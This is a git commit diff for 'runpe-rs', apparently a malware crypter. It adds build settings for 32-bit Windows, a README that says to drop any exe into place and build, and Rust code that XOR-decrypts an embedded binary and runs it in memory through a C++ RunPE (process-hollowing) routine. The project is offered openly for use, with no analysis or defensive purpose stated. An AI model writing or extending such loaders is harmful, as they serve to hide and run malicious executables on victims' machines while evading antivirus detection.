This commit is contained in:
2025-07-22 00:26:22 +09:00
parent f38b576d3a
commit af1160fcae
5 changed files with 23 additions and 8 deletions

3
.cargo/config.toml Normal file
View File

@@ -0,0 +1,3 @@
[build]
rustflags = ["-C", "linker=g++"]
target = "i686-pc-windows-gnu"

10
README.md Normal file
View File

@@ -0,0 +1,10 @@
# runpe-rs
## Requirements
- Mingw32 gcc/g++ (`g++` in PATH)
- Rust target `i686-pc-windows-gnu`
## Usage
1. put exe to `exe/s.exe`
2. `cargo build --release`
3. voila!

View File

@@ -1,4 +1,5 @@
#include <iostream> // Standard C++ library for console I/O
#include <iostream>
#include <fstream>
#include <string> // Standard C++ Library for string manip
#include <Windows.h> // WinAPI Header
@@ -90,4 +91,5 @@ extern "C" int RunPortableExecutable(void* Image)
}
}
}
return 0;
}

View File

@@ -8,11 +8,11 @@ fn xor_crypt(input: &mut [u8], key: u8) {
}
}
static BYTES: &[u8] = include_bytes!("crypt.bin");
static BYTES: &[u8] = include_bytes!("../crypt.bin");
fn main() {
let mut bytes = BYTES.clone();
xor_crypt(&mut bytes, 0x42);
let mut bytes = BYTES.to_vec();
xor_crypt(bytes.as_mut_slice(), 0x42);
run_portable_executable(bytes).unwrap();
run_portable_executable(bytes.as_slice()).unwrap();
}

View File

@@ -1,5 +1,5 @@
extern "C" {
fn RunPortableExecutable(Image: *mut std::ffi::c_void) -> i32;
unsafe extern "C" {
unsafe fn RunPortableExecutable(Image: *mut std::ffi::c_void) -> i32;
}
pub fn run_portable_executable(image: &[u8]) -> Result<i32, &'static str> {
@@ -7,7 +7,7 @@ pub fn run_portable_executable(image: &[u8]) -> Result<i32, &'static str> {
return Err("Empty byte slice passed");
}
let ptr = image.as_ptr() as *mut c_void;
let ptr = image.as_ptr() as *mut std::ffi::c_void;
let result = unsafe { RunPortableExecutable(ptr) };